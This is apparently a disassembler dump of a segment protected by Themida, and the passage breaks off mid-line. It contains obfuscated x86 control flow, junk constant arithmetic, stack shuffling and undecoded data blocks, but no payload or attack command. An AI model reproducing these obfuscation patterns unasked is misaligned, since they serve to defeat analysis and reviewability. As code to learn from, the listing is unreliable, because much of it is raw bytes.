Themida_:00546F65j sub ebp, 1FC78135h and edi, ebp pop ebp add edi, 0B4FE60Ah jmp loc_54E330 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0A6EEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C82E: ; CODE XREF: Themida_:00549547j sub edi, 300B6EF8h push dword ptr [esp] jmp loc_54C912 ; --------------------------------------------------------------------------- dd 0F5E9E189h, 0BEFFFFD2h, 209892BEh, 15EF101h, 0FF0103F9h dd 56592434h, 0DD68E689h, 89000028h, 10BB241Ch, 817B8950h dd 52791AEBh, 0A5E38153h, 0E9210A15h, 1BA1h ; --------------------------------------------------------------------------- loc_54C874: ; CODE XREF: Themida_:00549A3Aj pop ecx push ebp mov ebp, 21ED6DAAh jmp loc_55188B ; --------------------------------------------------------------------------- dd 83D831ADh, 48904ECh, 53E08924h, 4EC81h, 0C890000h, 5B816824h dd 415964C7h, 3B92E9h, 81E38900h, 4C3h, 4C38300h, 5C241C87h dd 0B940E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C8B6: ; CODE XREF: Themida_:00550620j pop esp jmp loc_548871 ; --------------------------------------------------------------------------- dd 5C241C87h, 5C240487h, 0DF685351h, 89000047h, 6E9240Ch dd 89000008h, 405E0h, 0A5E90000h, 8B00005Ah, 9FE92404h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C8E7: ; CODE XREF: Themida_:0054D14Ej and edx, 1501696Eh inc edx sub edx, 1000205Dh add eax, edx pop edx push eax jmp loc_54E366 ; --------------------------------------------------------------------------- db 81h, 0E3h, 0F7h dd 511D6531h, 0E3019FB9h, 0F7D1F758h, 0F037E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C912: ; CODE XREF: Themida_:0054C837j mov esi, [esp] add esp, 4 add esp, 4 retn ; --------------------------------------------------------------------------- dw 0AEE9h dd 68FFFF9Ch, 42703B08h, 81DAF75Ah, 3F2017CAh, 91C28137h dd 0E9B9AD5Fh, 0FFFFED3Eh, 0E9E28952h, 1D4Ch, 0C381E389h dd 4, 39D4E9h, 48B6600h, 4EC8124h, 89000000h, 8B542404h dd 0FE92404h, 5CFFFFD7h, 0E9241489h, 5E5Ah, 4BF575Bh, 81000000h dd 883252C3h, 56FB0125h, 883252BEh, 88EB8125h, 293FC535h dd 88C381F3h, 5E3FC535h, 81243C8Bh, 4C4h, 0B48AE900h, 0C483FFFFh dd 2EF0E904h, 89530000h, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 2424895Ch, 4B850h, 44810000h, 56020424h, 440155AAh dd 0BB530424h, 55AA5602h, 8245C29h, 0FFC47AE9h, 2E8C1FFh dd 0FFFFFF05h, 86982DFFh, 8957D048h, 5FFE89C7h, 5827E958h dd 0D1F70000h, 4EC81h, 0A5E90000h, 80FFFFA3h, 835A33C3h dd 0C8904ECh, 81C58824h, 4ECh, 242C8900h, 54D5E9h db 0 ; --------------------------------------------------------------------------- loc_54CA25: ; CODE XREF: Themida_:00551D11j xor ebp, [esp] jmp loc_5526CB ; --------------------------------------------------------------------------- db 5, 8Ch, 48h dd 25403D45h, 60291ABAh, 12193540h, 0C60926E8h, 215D6858h dd 3C890000h, 2700E924h, 34FF0000h, 77E95A24h, 8F00000Ah dd 248B2404h, 4556E924h, 0F0210000h, 0FFB4B0E9h, 0C2815AFFh dd 4, 0E904C283h, 0FFFFD7BCh, 0ED81CD01h, 706A3832h, 5668E9h dd 2434FF00h, 0FF2434FFh, 83582434h, 895604C4h, 4C681E6h dd 50000000h, 36FFE9h db 0 ; --------------------------------------------------------------------------- loc_54CAA1: ; CODE XREF: Themida_:0054FF3Cj add edx, 0B55AA88Fh mov ecx, edx jmp loc_550690 ; --------------------------------------------------------------------------- loc_54CAAE: ; CODE XREF: Themida_:0055268Aj not eax jmp loc_54EF87 ; --------------------------------------------------------------------------- loc_54CAB5: ; CODE XREF: Themida_:0054A7C8j mov dh, 4Dh mov ch, dh pop edx neg ch jmp loc_5471E4 ; --------------------------------------------------------------------------- db 5Dh, 51h, 0FFh dd 59042474h, 8B24048Fh, 8A682424h, 0E9000074h, 24C8h dd 8904EC83h, 4BB241Ch, 1000000h, 2434FFDEh, 0FFC2EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CAED: ; CODE XREF: Themida_:00549E59j sub ecx, edx pop edx xor ecx, 309C6E40h jmp loc_549AD6 ; --------------------------------------------------------------------------- db 83h dd 1C3304C4h, 241C3124h, 8B241C33h, 0F662424h, 5166C8AFh dd 9ABFE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB16: ; CODE XREF: Themida_:00548E87j pop edx add edx, 4 sub edx, 4 jmp loc_55049C ; --------------------------------------------------------------------------- loc_54CB28: ; CODE XREF: Themida_:00550C39j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54FA10 ; --------------------------------------------------------------------------- db 52h, 0E9h, 0BBh dd 59FFFFB1h, 537468h, 240C8900h, 7B768h, 242C8900h, 0F484EABDh dd 497C6830h, 14890000h, 0F833E924h, 2548FFFFh, 760C6FBEh dd 86A0E35h, 58C60154h, 1E70E9h db 0 ; --------------------------------------------------------------------------- loc_54CB75: ; CODE XREF: Themida_:00548B2Cj push edi jmp loc_54FB6B ; --------------------------------------------------------------------------- db 0FFh dd 0CBE92434h, 5FFFFFFEh, 54E9C829h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CB8B: ; CODE XREF: Themida_:0054FCA4j mov ch, bl pop ebx mov [eax], ch push dword ptr [esp] jmp loc_546809 ; --------------------------------------------------------------------------- loc_54CB98: ; CODE XREF: Themida_:00551A0Ej sub ebp, edx jmp loc_54A97A ; --------------------------------------------------------------------------- db 0FEh dd 244486C0h, 0B27CE901h, 405FFFFh, 83000000h, 0FF5004C0h dd 0E9042474h, 0FFFFE05Ah, 0E904EC83h, 0FFFFC536h ; --------------------------------------------------------------------------- loc_54CBC4: ; CODE XREF: Themida_:0054A498j add esp, 4 add esp, 4 add esi, 4 sub esi, 2 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_54EFF6 ; --------------------------------------------------------------------------- loc_54CBEF: ; CODE XREF: Themida_:0054F5FFj pop esp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 jmp loc_550E4C ; --------------------------------------------------------------------------- dw 48Bh aSrm db '$ИrM',0 align 2 loc_54CC16: ; CODE XREF: Themida_:00550639j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push small word ptr [eax] jmp loc_5465D5 ; --------------------------------------------------------------------------- dw 0C483h dd 2E5C104h, 0A4A1E951h, 0BD55FFFFh, 725D05EBh, 2733E9h dd 4EC8100h, 89000000h, 74FF240Ch, 94E90424h, 0B3000043h dd 25EB80BCh, 8001C380h, 0EB80AAE3h, 8D5E91Ch, 875F0000h dd 248B2404h, 80686624h, 1C89666Ah, 0B4505224h, 0ABCC8023h dd 0EC80DCF6h, 337BE9B7h, 0E9480000h, 37h, 182955BBh, 0EDD9E908h dd 0C8BFFFFh, 4C48324h, 0E5240481h, 0E95B6740h, 0FFFF992Dh dd 0C89665Ch, 0B60F6624h, 9C5166C8h, 0FFB60BE9h, 3EA768FFh dd 34E90000h, 48FFFFBDh, 1F62A32Dh, 0C2EA818Ch, 0E95A4D4Fh dd 0FFFF99B5h ; --------------------------------------------------------------------------- loc_54CCD4: ; CODE XREF: Themida_:0055202Cj push 3F36h mov [esp], ecx push 3C05h push esp pop dword ptr [esp] jmp loc_551D04 ; --------------------------------------------------------------------------- dw 0F181h dd 0DFF696FFh, 0FFDB51E9h, 0C4835DFFh, 77F58104h, 68353515h dd 51A6h, 55243489h, 0B2243481h, 0E91A850Bh, 2BE6h ; --------------------------------------------------------------------------- loc_54CD14: ; CODE XREF: Themida_:005519B5j pop edx add ecx, 0FFFFFFFFh jmp loc_54FF49 ; --------------------------------------------------------------------------- dd 9CC1385Ch, 0FF98ACE9h, 876866FFh, 1C896670h, 0E2B15124h dd 805DF180h, 0E1C09BE9h, 0C8C18005h, 888EC180h, 0CDFCE9CFh dd 0EC88FFFFh, 58E22859h, 2CD9E9h, 241C8900h, 21E95666h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD5F: ; CODE XREF: Themida_:0054EDAFj mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp] jmp loc_548FB4 ; --------------------------------------------------------------------------- loc_54CD74: ; CODE XREF: Themida_:0054B71Cj push esi jmp loc_54CDAD ; --------------------------------------------------------------------------- dw 0E800h dd 592434FFh, 0FFAD97E9h, 0F7DAF7FFh, 3048E9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CD8E: ; CODE XREF: Themida_:005510C0j push esi push dword ptr [esp+4] pop esi jmp loc_5507AF ; --------------------------------------------------------------------------- db 81h, 0EBh, 4 dd 87000000h, 895C241Ch, 0D788241Ch, 0FFBAAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CDAD: ; CODE XREF: Themida_:0054CD75j push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_54C66B ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 1EA8C381h, 0C3817C6Ch, 2E97301Fh, 0FFB52BE9h dd 0A9E951FFh db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CDD7: ; CODE XREF: Themida_:0054FB3Ej pop ebx mov eax, [esp] add esp, 4 jmp loc_549C92 ; --------------------------------------------------------------------------- loc_54CDE3: ; CODE XREF: Themida_:0054CF6Aj add esp, 4 and eax, ebp jmp loc_54B8C9 ; --------------------------------------------------------------------------- dd 0EC815159h, 4, 476AE9h, 4C48100h, 0E9000000h, 1DFAh dd 468h, 2E95B00h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CE13: ; CODE XREF: Themida_:00546CEBj add ecx, 654D2C7Bh or ecx, 31413B2Eh add ecx, 57EF6B3Ch mov edx, ecx pop ecx add edx, 35E2278Dh add edx, esi sub edx, 35E2278Dh pop esi and ecx, edx jmp loc_551BC5 ; --------------------------------------------------------------------------- dw 0F387h dd 0F387D6F7h, 0FB54EB81h, 9BE9AD15h, 81000011h, 0F781BCEDh dd 5DEF313Dh, 0C8E9FA01h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CE5F: ; CODE XREF: Themida_:0054923Ej add esp, 4 or eax, eax jz loc_550671 push dword ptr [edi+28h] add dword ptr [esp], 5022155Fh jmp loc_54B847 ; --------------------------------------------------------------------------- dd 0E386D4F6h, 8051EB80h, 0D8282BEBh, 3147E9h, 0DCE95400h dd 0BFFFFFD0h, 4, 575FFB01h, 4BFh, 1EEB8100h, 8160AD64h dd 291330EBh, 81FB0113h, 291330C3h, 1EC38113h, 0E960AD64h dd 0FFFFB3CBh, 0CC805FB4h, 9EBDE9E4h, 8B66FFFFh, 83532404h dd 8F5404ECh, 4832404h, 525B0424h, 9E05B4BAh, 1EA815Eh dd 81000000h, 6A3E95E2h, 95B85077h, 31560A04h, 0C38158C2h dd 548101Eh, 0F23C381h, 0D3012034h, 0F23EB81h, 36E92034h dd 59000008h, 0B60F66h, 0E9E68956h, 0FFFFCC4Bh, 9548D3B9h dd 58C1811Dh, 493D4E3Ch, 4469C181h, 51E952C4h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF33: ; CODE XREF: Themida_:00548035j push eax pushf jmp loc_5465D5 ; --------------------------------------------------------------------------- loc_54CF3A: ; CODE XREF: Themida_:0054D726j add esi, 4 xchg esi, [esp] jmp loc_546CA3 ; --------------------------------------------------------------------------- loc_54CF45: ; CODE XREF: Themida_:0054F5B9j push ecx mov ecx, 226D199Ah sub ecx, 0FB13034Eh or ecx, 62B04AB0h add ecx, 28687BE0h jmp loc_550A8D ; --------------------------------------------------------------------------- loc_54CF62: ; CODE XREF: Themida_:00546A21j add esp, 4 mov ebp, edi mov edi, [esp] jmp loc_54CDE3 ; --------------------------------------------------------------------------- db 89h dd 702D5FFAh, 297AC21Dh, 70B951D0h, 57AC21Dh, 270C1F2Eh dd 0A4F1D05h, 101E955h, 0E1860000h, 0E186D4F6h, 92DE9h dd 0ABE9AC00h, 83000041h, 34FF04C4h, 362DE924h, 34330000h dd 24343124h, 5C243433h, 0FFFF11E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CFB9: ; CODE XREF: Themida_:0054B8D2j or edx, eax shl edx, 1 push 4E14h mov [esp], ebx push edx mov edx, esp jmp loc_54E971 ; --------------------------------------------------------------------------- aYhqq db 'YhqQ',0 dw 0E900h dd 0C3Ah, 0BD555F5Ah, 373F0EF7h, 0E907EDC1h, 0FFFFD4B5h dd 8B247789h, 0C4832434h, 2477FF04h, 8F2414F7h, 6FC12447h dd 4F810524h, 3A210E24h, 246FC115h, 17ACE908h, 77FF0000h dd 58669D1Ch, 24041966h, 95B7E99Ch, 6855FFFFh, 6679h, 0E9242489h dd 29h, 42474FFh, 35CDE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D036: ; CODE XREF: Themida_:00550AE3j mov edx, [esp] jmp loc_55283F ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 3CD8E9h, 31EB8100h, 5A51E40Bh, 0FFD910E9h dd 240481FFh, 4, 5477E95Dh, 6EE90000h, 66FFFF95h, 0E9240C8Bh dd 0FFFFCBCCh, 3358C201h, 14312414h, 24143324h, 0E924248Bh dd 4E65h ; --------------------------------------------------------------------------- loc_54D084: ; CODE XREF: Themida_:0054C33Fj pop esp shr ecx, 0Bh push esi push edi jmp loc_54B494 ; --------------------------------------------------------------------------- db 1 dd 0C011E9C8h, 8B66FFFFh, 77682404h, 0E9000011h, 0FFFFF469h ; --------------------------------------------------------------------------- loc_54D0A4: ; CODE XREF: Themida_:0054D826j xchg ebp, [esp] pop esp sub bl, 81h sub bl, al add bl, 81h sub esp, 4 mov [esp], edx push ebx mov bh, 5 dec bh not bh sub bh, 95h sub bh, 8Ah mov dh, bh pop ebx push dx neg byte ptr [esp+1] pop dx xor dh, 0Ah add bl, 38h jmp loc_54E9EE ; --------------------------------------------------------------------------- db 88h, 0C1h, 88h dd 240C8BCBh, 81E18951h, 4C1h, 4C18100h, 87000000h, 34E9240Ch dd 80FFFFC9h, 0E188EFC4h, 0FB75358h, 805BF908h, 0C800B9C1h dd 240C8B66h, 4AC4E9h, 241C8B00h, 4C481h, 0E9590000h, 0FFFF94B5h dd 8B2434FFh, 7E92404h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D12B: ; CODE XREF: Themida_:00548449j mov eax, 47DF7A04h sub eax, 47DF7A00h mov edi, eax pop eax add eax, edi mov edi, [esp] add esp, 4 push edx push 1CB66C63h pop edx dec edx sub edx, 23DA4A01h jmp loc_54C8E7 ; --------------------------------------------------------------------------- db 83h dd 7BE904C4h, 0FFFFFFC2h, 22E92434h, 57FFFFF9h, 253EB850h dd 0A6BF1769h, 291C612Dh, 0EF8158C7h, 0C480F3A7h, 97E9FB01h dd 68FFFFABh, 797Ch, 51241489h, 207721B9h, 63E95221h, 66FFFFDEh dd 81240C8Bh, 4ECh, 241C8900h, 0B3E95B54h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D1A7: ; CODE XREF: Themida_:0055089Fj sub esp, 4 mov [esp], ebx push 3841h mov [esp], eax mov eax, 1A9D2431h push eax jmp loc_550CE2 ; --------------------------------------------------------------------------- loc_54D1C3: ; CODE XREF: Themida_:00549A48j sub ecx, 4 jmp loc_546B6C ; --------------------------------------------------------------------------- dw 83ADh dd 0F00207Fh, 3C8F84h, 0FCBB5300h, 8109B128h, 0BC6146E3h dd 0C6DBE976h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D1EA: ; CODE XREF: Themida_:00549C37j mov edx, 58ED3C51h add edx, 327C2094h and edx, 7F7B4F26h not edx xor edx, 4D82239Ch shl edx, 1 jmp loc_54A7A1 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 505BDA21h, 0FFD209E9h, 73FCBFFFh, 0F74F495Ah, 0FBEF81D7h dd 972AAA45h, 0C601E940h, 0D5F6FFFFh, 0E68EDD0h, 0E9000022h dd 0FFFFE21Ah, 68ED68h, 241C8900h, 0B19BE956h, 248BFFFFh dd 0BE65E924h, 9C50FFFFh, 0FF937CE9h, 9377E9FFh, 0E95DFFFFh dd 4DA3h, 3FE0EE81h, 0EE814B2Bh, 4F0794CAh, 295EF201h dd 24148BD5h, 0FFF9ADE9h, 0C0AE34FFh, 392C05E0h, 0E958C328h dd 196Fh, 4863E95Ch, 8B660000h, 97E92404h, 5FFFFFBEh, 8704C483h dd 0FDE92404h, 55FFFFD9h, 174DBE56h, 0F68155BEh, 55BE1749h dd 15EF589h, 242C8BEBh, 0FFA87FE9h, 6EB652FFh, 0E6D0C6FEh dd 80E9C680h, 0DFE95CE6h, 5A000004h, 5304C483h, 0FF94F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D2DD: ; CODE XREF: Themida_:00550E5Aj push esp pop ecx push eax push edx mov edx, 0AB41C73h jmp loc_55125C ; --------------------------------------------------------------------------- db 66h dd 9C2424D3h, 0FF92E0E9h, 4EC83FFh, 68243489h, 2B2E5EDDh dd 8124348Bh, 4C4h, 0BBA6E900h, 0D601FFFFh, 4EE815Ah, 33000000h dd 34312434h, 24343324h, 2E0CE95Ch, 58540000h, 405h, 4E88300h dd 5C240487h, 89243C89h, 7BA868E7h, 2C890000h, 62B6BD24h dd 0ED81254Fh, 254F62B2h, 535DEF01h, 0E4696EBBh, 94C38151h dd 29AE1B96h, 241C8BDFh, 4C481h, 3C330000h, 243C3124h dd 8B243C33h, 89662424h, 28E92404h, 66FFFFA7h, 0AAE9C329h dd 0FF000044h, 52582434h, 24148B54h, 4C481h, 0DE90000h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D397: ; CODE XREF: Themida_:00548C02j pop edx add ebx, 55965156h jmp loc_549A3F ; --------------------------------------------------------------------------- loc_54D3A3: ; CODE XREF: Themida_:0054F56Dj sub eax, esi pop esi jmp loc_54E044 ; --------------------------------------------------------------------------- db 1 dd 5CC405D8h, 4DE955B1h, 81000042h, 4C6h, 2C68300h, 5C243487h dd 4EC81h, 0C890000h, 0E982B524h, 3F13h, 0C5C3815Bh, 5A58A83Fh dd 0FFDE03E9h, 246C8AFFh, 247C8804h, 241C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], esi mov esi, 4 add ebp, esi pop esi add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp xchg bl, ch xchg al, bl not al xchg al, bl xchg bl, ch jmp loc_5504AE ; --------------------------------------------------------------------------- db 0B8h, 0C5h, 64h dd 432D3063h, 0F779A72Ah, 3A8605D8h, 0C701B6BCh, 4C78158h dd 87000000h, 7FE9243Ch, 81FFFFE4h, 0F8069CF1h, 2BC18177h dd 813F9850h, 0ED7614F1h, 7FE98100h, 0E99F84B8h, 319Bh dd 0A8E9CB29h, 54FFFFFAh, 0E957555Ah, 42DAh ; --------------------------------------------------------------------------- loc_54D470: ; CODE XREF: Themida_:00548708j pop esi jmp loc_54EFDA ; --------------------------------------------------------------------------- dw 0F5Ch dd 9C51C8AFh, 0FF9154E9h, 5EF001FFh, 452DD829h, 5273356Eh dd 46782FBAh, 0FFD02922h, 86E92434h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D49B: ; CODE XREF: Themida_:0054AD7Cj pop edi jmp loc_55217B ; --------------------------------------------------------------------------- db 68h, 5Bh, 22h dd 0C890000h, 63316824h, 24890000h, 0E338E924h, 248BFFFFh dd 0AE93E924h, 0D388FFFFh, 0DA88525Ah, 5A385788h, 709E95Bh dd 54520000h, 4E57E95Ah, 0D15D0000h, 8EED81EDh, 53DA110Ch dd 8950EB89h, 2757E9D8h, 0D9F70000h, 3A7AE9h db 0 ; --------------------------------------------------------------------------- loc_54D4F1: ; CODE XREF: Themida_:0054D68Cj pop eax mov edx, [esp] add esp, 4 inc ebp push eax jmp loc_54842C ; --------------------------------------------------------------------------- dw 0FB29h dd 487535Fh, 87D0F724h, 4EE92404h, 83000042h, 8B042404h dd 0C481243Ch, 4, 4C781h, 21E90000h, 0ACFFFFC0h, 9C68D830h dd 89000001h, 9FE9241Ch, 30FFFFDBh, 535158C3h, 0DD88E388h dd 88DC885Bh, 1093E9EBh, 8B660000h, 8956240Ch, 4C681E6h dd 83000000h, 58E904EEh db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D563: ; CODE XREF: Themida_:0054A0EDj add ecx, 7A33C40h add ecx, eax sub ecx, 7A33C40h pop eax add ecx, 1EC526CDh add eax, 0C000AB3h jmp loc_54F55B ; --------------------------------------------------------------------------- dw 4EE9h dd 8BFFFF90h, 6EE92424h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D58F: ; CODE XREF: Themida_:0054A374j add eax, 4 xchg eax, [esp] pop esp push ebx jmp loc_552720 ; --------------------------------------------------------------------------- loc_54D59E: ; CODE XREF: Themida_:0054D9ACj mov esi, [esp] add esp, 4 push 5A7Ch jmp loc_5497D7 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0C7h dd 8B051C69h, 0C4812404h, 4, 8324048Bh, 0C32904C4h, 0FFED9CE9h dd 8BDE01FFh, 0C483241Ch, 4EE95504h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D5DB: ; CODE XREF: Themida_:00549C4Aj pop dword ptr [esp] pop esp sub eax, 7BFA255Eh sub eax, esi add eax, 7BFA255Eh jmp loc_54BFE2 ; --------------------------------------------------------------------------- dd 6388C681h, 0C6817BE6h, 3B167BC4h, 24348758h, 0B83E9h dd 0B5FBA00h, 0D1216D4Fh, 52F1815Ah, 8976762Ah, 240C8BCDh dd 4C481h, 0B9510000h, 45A458A2h, 5259CD31h, 51208ABAh dd 9EA5E92Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D632: ; CODE XREF: Themida_:0054BCB1j mov edx, [esp] jmp loc_54B83F ; --------------------------------------------------------------------------- loc_54D63A: ; CODE XREF: Themida_:00548CDEj pop edx or esi, 1DE43D58h shr esi, 8 sub esi, 5E1E62C3h jmp loc_54C52C ; --------------------------------------------------------------------------- loc_54D64F: ; CODE XREF: Themida_:00547483j mov [esp], ebx push edx mov edx, 1EFA7003h mov ebx, edx pop edx push 7021h mov [esp], esi jmp loc_551C4B ; --------------------------------------------------------------------------- dd 0E904ECC0h, 2154h, 0A2E9D131h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D677: ; CODE XREF: Themida_:005509B5j mov [esp], ebp push edx push 72680B56h pop edx add edx, 0C1C31F16h push eax mov eax, edx mov ebp, eax jmp loc_54D4F1 ; --------------------------------------------------------------------------- loc_54D691: ; CODE XREF: Themida_:00546618j push ecx jmp loc_548807 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF8F39h, 3487595Bh, 89515C24h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 68F9F75Ch, 1B77h, 0E9241489h, 200Fh ; --------------------------------------------------------------------------- loc_54D6C4: ; CODE XREF: Themida_:0054BB25j pop dword ptr [esp] push edx mov edx, 4 add [esp+4], edx jmp loc_5526EB ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 89240489h, 405E0h, 52560000h, 936BA1BAh dd 10685239h, 5A331154h, 0BA71F281h, 0E952FC59h, 0FFFFD34Fh dd 8B24048Fh, 9AE92424h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D70F: ; CODE XREF: Themida_:0054FEADj sub bl, ah pop eax mov ecx, [esp] add esp, 4 add bl, al jmp loc_54BDEC ; --------------------------------------------------------------------------- loc_54D71F: ; CODE XREF: Themida_:00548AA6j pop esi add esi, 4 jmp loc_54CF3A ; --------------------------------------------------------------------------- db 87h dd 0FF5C2434h, 0E9582434h, 0FFFFC4D5h, 2324C681h, 0CE011474h dd 2A1FE9h, 1EEB8100h, 8B054810h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5472B6 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 5C241C87h, 10685152h, 59283B67h, 0FFFD7DE9h, 0D0F681FFh dd 1598937h, 88E95EF0h, 89FFFFCDh, 0F9FDE9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D782: ; CODE XREF: Themida_:00551BD0j push 0CB0h mov [esp], ebx mov ebx, 45722C6Ch mov edi, ebx pop ebx add ebx, 7A23410Ch add ebx, edi sub esp, 4 jmp loc_54701E ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 0CCB6E900h, 0C6FEFFFFh, 287AC680h, 8E95AF3h, 83000024h dd 1C8704C4h, 4015C24h, 0FDE99C24h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D7CF: ; CODE XREF: Themida_:00551802j push 610C7AECh pop esi mov edx, 1A132A1Fh dec edx jmp loc_552668 ; --------------------------------------------------------------------------- dd 8071C480h, 0DFE967C4h, 0FFFFFFE8h, 0C8B2434h, 4C48124h dd 0E9000000h, 19F8h, 0EDE9F289h, 87000044h, 0B6EB81FBh dd 8992B18Eh, 60E95BDDh, 66000026h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 jmp loc_54D0A4 ; --------------------------------------------------------------------------- db 0C1h dd 0F58106E5h, 41EC1F44h, 0FFB190E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D839: ; CODE XREF: Themida_:00551F1Fj mov eax, 24h add eax, edi jmp loc_547FEF ; --------------------------------------------------------------------------- aI_1 db '┴<$©',0 align 4 dd 87DF2900h, 0C3815FFBh, 17EA7E6Dh, 56C38143h, 8133C104h dd 30045EEBh, 7EB8134h, 81B98323h, 1303AFEEh, 81DE2906h dd 1303AFC6h, 0FE1EE906h, 815AFFFFh, 7C15B1F7h, 4FF78100h dd 1EE3E33h, 4547E9F8h, 0F6810000h, 0AF7CCF0Bh, 0E95EF701h dd 0FFFFB951h, 405h, 40500h, 4870000h, 0D8295C24h, 0AE701C05h dd 4EC836Dh, 83241489h, 3C8904ECh, 3D8BE924h, 0C1800000h dd 0C0C9FE3Dh, 0B3E904E1h, 81000024h, 0EF4C59E9h, 59CD0114h dd 4C581h, 0E9550000h, 4373h, 0AA2462BEh, 46D6F72Ch, 0FFF96FE9h dd 6E956FFh, 0ADFFFFC4h, 0B951D831h, 53DA1ED8h, 270F181h dd 0E981546Eh, 0A4F55894h, 65C0BF57h, 82E9182Dh db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D91B: ; CODE XREF: Themida_:005504B7j jmp loc_5465D5 ; --------------------------------------------------------------------------- dd 0E9D8295Ch, 0FFFFEAB1h, 67214EBFh, 0E9F9091Fh, 0FFFFE096h dd 0C5E95166h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D93B: ; CODE XREF: Themida_:00552474j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54992C ; --------------------------------------------------------------------------- dd 0CCB60F66h, 4EC81h, 34890000h, 815E5424h, 4C6h, 4EC8300h dd 516E9h db 0 ; --------------------------------------------------------------------------- loc_54D96D: ; CODE XREF: Themida_:0054E03Fj mov ecx, 4B74386Ah mov eax, ecx pop ecx sub eax, 4B743866h jmp loc_551C04 ; --------------------------------------------------------------------------- loc_54D97F: ; CODE XREF: Themida_:00552611j mov edi, esp jmp loc_54EAF9 ; --------------------------------------------------------------------------- aBUZ_zsb db ')ж│ф⌠[╖_ZИ│#',0 align 4 dd 0C1B951ADh, 10C7242h, 240C8BC8h, 5304C483h, 0FFA005E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D9A9: ; CODE XREF: Themida_:005507E5j mov [esp], ebx jmp loc_54D59E ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 89243489h, 0AB6FE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D9C2: ; CODE XREF: Themida_:00546BC6j and eax, edx mov edx, [esp] add esp, 4 sub eax, 270E0B22h dec eax sub eax, 0F9C9EDF0h or ebp, eax jmp loc_550658 ; --------------------------------------------------------------------------- dd 4BDh, 0E9EF0100h, 0FFFF9DBEh ; --------------------------------------------------------------------------- loc_54D9E8: ; CODE XREF: Themida_:00547C73j push esi mov esi, 23942296h shl esi, 3 jmp loc_54F900 ; --------------------------------------------------------------------------- dw 0E921h dd 0FFCC43E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D9FD: ; CODE XREF: Themida_:005487D2j add bl, ah jmp loc_54C4BC ; --------------------------------------------------------------------------- dd 0CA69E958h, 0C481FFFFh, 4, 70B55150h, 0FFBB22E9h, 0C8966FFh dd 0EB72E924h, 0AEE9FFFFh, 8BFFFF8Bh, 0D8E92424h, 5AFFFFECh dd 768068h, 24148900h, 0D5020CBAh, 182F0570h, 83572616h dd 1C8904ECh, 1A2BBB24h, 0DF89055Fh, 16CBE95Bh, 0EE800000h dd 5AF3286Bh, 8097C380h, 0B60FC5EBh, 87048DC0h, 4848E9h dd 4ABA5200h, 1382A29h, 0E9C15AD1h, 6E1C103h, 5EF4BA52h dd 81423FB1h, 2F139BF2h, 9E28142h, 0D125AB25h, 3DE942E2h dd 83FFFFBEh, 3C8904ECh, 27BD5524h, 0E947EC53h, 2583h dd 3D45C681h, 0C6017D0Fh, 7404BD55h, 0DDF739FAh, 0B6B9F581h dd 0EE29BB0Ah, 